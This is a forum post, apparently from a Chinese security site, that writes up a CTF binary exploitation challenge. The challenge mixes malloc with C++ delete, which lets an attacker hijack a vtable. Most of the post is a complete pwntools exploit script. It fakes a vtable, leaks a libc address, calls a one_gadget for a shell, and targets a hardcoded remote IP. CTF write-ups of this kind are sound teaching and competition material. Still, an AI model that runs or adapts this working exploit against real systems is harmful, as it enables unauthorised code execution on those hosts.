首页
论坛
课程
招聘
[原创]第九题 C与C++
2019-3-23 03:09 1385

[原创]第九题 C与C++

2019-3-23 03:09
1385

c_and_cpp

程序分析

程序逻辑比较简单,可以申请和释放内存,并且实现了c和cpp的两种内存分配方法,如下:
malloc –> free
new –> delete
图片描述

 

分析c和cpp的实现存储方式可以发现,存储字符串时,是按照16字节进行划分的,每一段进行存储。如下:
图片描述
cpp:
图片描述
其中heap pos是每一个堆内存块的位置,mem pos是申请内存时返回的位置,pointer是程序中存储数据用到的位置。
在释放内存时,如果调用free,直接释放内存即可,如下:

 

图片描述
如果调用delete,会将指针往前移8个字节,然后获取str块的count,然后将其所有块中的虚表中的release函数调用一次,如下:

 

图片描述

漏洞点

通过malloc申请的内存,通过delete来释放,会按照delete的规则来进行,从而实现了c和cpp的混用,把c中的堆块size当成cpp的块数,从而依次执行其中虚表的release函数,从而实现了函数控制流劫持。

利用方式

在设置name来可以布置虚表,写入两个函数,在release的时候,实现调用,由于泄露和布置虚表至少需要两次输入,应该可以在布置虚表的时候把main函数放在第二个虚表的位置,从而实现多次利用漏洞,从而实现多次利用。
Name的内容设置为:
p64(main_func)+ p64(target_func)
虚表vtable有多个,从后往前执行,其内容设置为:
Vtable(n-1): p64(name_addr)
Vtable(n): p64(name_addr+8)
这样,调用虚表函数,依次执行的函数就为:target_func,main_func
其中,泄露libc地址的函数如下:

 

图片描述
通过puts的地址可以得到libc基址,从而计算出one_gadget地址,拿到shell,具体见利用代码。

利用代码

from pwn import *

def show_debug_info(flag = True):
    global show_info_sign

    if flag == True:
        #context.log_level = 'DEBUG'
        show_info_sign = True
    else:
        #context.log_level = 'info'
        show_info_sign = False

def d2v_x64(data):
    return u64(data[:8].ljust(8, '\x00'))

def d2v_x32(data):
    return u32(data[:4].ljust(4, '\x00'))

def expect_data(io_or_data, b_str = None, e_str = None):
    if type(io_or_data) != str:
        t_io = io_or_data

        if b_str != None and b_str != "":
            recvuntil(t_io, b_str)
        data = recvuntil(t_io, e_str)[:-len(e_str)]
    else:
        if b_str == None or b_str == "":
            b_pos = 0
        else:
            t_data = io_or_data
            b_pos = t_data.find(b_str)
            if b_pos == -1:
                return ""
            b_pos += len(b_str)

        if e_str == None or e_str == "":
            data = t_data[b_pos:]
        else:
            e_pos = t_data.find(e_str, b_pos)
            if e_pos == -1:
                return ""
            data = t_data[b_pos:e_pos]
    return data

import sys

def show_echo(data):
    global show_info_sign
    if show_info_sign:
        sys.stdout.write(data)

def recv(io, size):
    data = io.recv(size)
    show_echo(data)
    return data

def recvuntil(io, info):
    data = io.recvuntil(info)
    show_echo(data)
    return data

def send(io, data):
    io.send(data)
    show_echo(data)

def sendline(io, data):
    send(io, data + "\n")

def rd_wr_str(io, info, buff):
    #io.recvuntil(info, timeout = 2)
    #io.send(buff)
    data = recvuntil(io, info)
    send(io, buff)
    return data

def rd_wr_int(io, info, val):
    return rd_wr_str(io, info, str(val) + "\n")

def r_w(io, info, data):
    if type(data) == int:
        return rd_wr_int(io, info, data)
    else:
        return rd_wr_str(io, info, data)

def set_context():
    binary_elf = ELF(binary_path)
    context(arch = binary_elf.arch, os = 'linux', endian = binary_elf.endian)

import commands
def do_command(cmd_line):
    (status, output) = commands.getstatusoutput(cmd_line)
    return output

global_pid_int = -1
def gdb_attach(io, break_list = [], is_pie = False, code_base = 0, gdbscript = ""):
    if is_local:
        set_pid(io)
        if is_pie == True:
            if code_base == 0:
                set_pid(io)
                data = do_command("cat /proc/%d/maps"%global_pid_int)
                code_base = int(data.split("\n")[0].split("-")[0], 16)
        #gdbscript = ""
        for item in break_list:
            gdbscript += "b *0x%x\n"%(item + code_base)
        gdbscript += "c\n"

        gdb.attach(global_pid_int, gdbscript = gdbscript)

def set_pid(io):
    global global_pid_int
    if global_pid_int == -1:
        if is_local:
            """
            data = do_command("ps -aux | grep -E '%s$'"%(binary_path.replace("./", ""))).strip().split("\n")[-1]
            #print "-"*0x10
            #print repr(data)
            items = data.split(" ")[1:]
            global_pid_int = 0
            i = 0
            while len(items[i]) == 0:
                i += 1
            global_pid_int = int(items[i])
            #"""
            global_pid_int = pidof(io)[0]

def gdb_hint(io, info = ""):
    if info != "":
        print info
    if is_local:
        set_pid(io)
        raw_input("----attach pidof '%d', press enter to continue......----"%global_pid_int)

    if info != "":
        print "pass", info

def gdb_hint(io, info = ""):
    if info != "":
        print info
    if is_local:

        raw_input("----attach pidof '%d', press enter to continue......----"%pidof(io)[0])
    if info != "":
        print "pass", info

def get_io(target):
    if is_local:
        io = process(target, display = True, aslr = None, env = {"LD_PRELOAD":libc_file_path})
        #io = process(target, shell = True, display = True, aslr = None, env = {"LD_PRELOAD":libc_file_path})
    else:
        io = remote(target[0], target[1])
    return io

def r_w(io, info, data):
    if type(data) == int:
        rd_wr_int(io, info, data)
    else:
        rd_wr_str(io, info, data)

def m_c(io, choice, prompt = ">> "):
    r_w(io, prompt, choice)

def set_item(io, choice, prompt = ["?\n"]):
    r_w(io, prompt, choice)

def malloc(io, size, data_list):
    m_c(io, 1)
    r_w(io, "string\n", size)
    recvuntil(io, "string\n")
    for item in data_list:
        send(io, item)

def free(io, idx):
    m_c(io, 2)
    r_w(io, "string\n", idx)

def new(io, size, data_list):
    m_c(io, 3)
    r_w(io, "string\n", size)
    recvuntil(io, "string\n")
    for item in data_list:
        send(io, item)

def delete(io, idx):
    m_c(io, 4)
    r_w(io, "string\n", idx)


def pwn(io):

    #offset info
    if is_local:
        #local
        offset_system = 0x0
        offset_binsh = 0x0
    else:
        #remote    
        offset_system = 0x0
        offset_binsh = 0x0

    leak_func = 0x400E10
    read_buff = 0x400d00
    name_addr = 0x602328

    main_addr = 0x4009A0

    #io.interactive()

    name = ""
    name += p64(main_addr)
    name += p64(leak_func)
    r_w(io, ": ", name[:-1])

    payload = []
    payload.append("111\n")
    malloc(io, 1, payload)

    payload = []
    payload.append("222\n")
    malloc(io, 5*0x10, payload)

    payload = []
    payload.append("333\n")
    malloc(io, 20*0x10, payload)

    payload = []
    payload.append(p64(name_addr) + '4'*7)
    payload.append(p64(name_addr+8) + '-'*7)
    payload.append("4444\n")
    malloc(io, 3*0x10, payload)

    #gdb_attach(io, [0x400DB8])

    delete(io, 0)
    data = recvuntil(io, "\n")
    puts_addr = int(data, 16)
    print hex(puts_addr)
    libc_addr = puts_addr - 0x6f690

    name = ""
    name += p64(main_addr)
    name += p64(libc_addr + 0xf02a4)
    r_w(io, ": ", name[:-1])

    payload = []
    payload.append("111\n")
    malloc(io, 1, payload)

    payload = []
    payload.append("222\n")
    malloc(io, 5*0x10, payload)

    payload = []
    payload.append("333\n")
    malloc(io, 20*0x10, payload)

    payload = []
    payload.append(p64(name_addr) + '4'*7)
    payload.append(p64(name_addr+8) + '-'*7)
    payload.append("4444\n")
    malloc(io, 3*0x10, payload)

    #gdb_attach(io, [0x400DD2])
    delete(io, 0)
    #data = recvuntil(io, "\n")
    #puts_addr = int(data, 16)
    #print hex(puts_addr)

    io.interactive()

    #io.recvuntil()
    #payload = ""
    #io.sendline(payload)
    #io.interactive()
    #print proc.
    pass    


is_local = True
is_local = False

binary_path = "./candcpp"

libc_file_path = ""
libc_file_path = "libc-2.23.so"

ip, port = "", 0
items = "154.8.222.144 9999".split(" ")

ip = items[0]
port = int(items[1])

show_info_sign = True

if is_local:
    # ['CRITICAL', 'DEBUG', 'ERROR', 'INFO', 'NOTSET', 'WARN', 'WARNING']
    show_debug_info(True)
    target = binary_path
else:
    show_debug_info(False)
    target = (ip, port)

io = get_io(target)
pwn(io)

[看雪官方培训] Unicorn Trace还原Ollvm算法!《安卓高级研修班》2021年6月班开始招生!!

收藏
点赞0
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回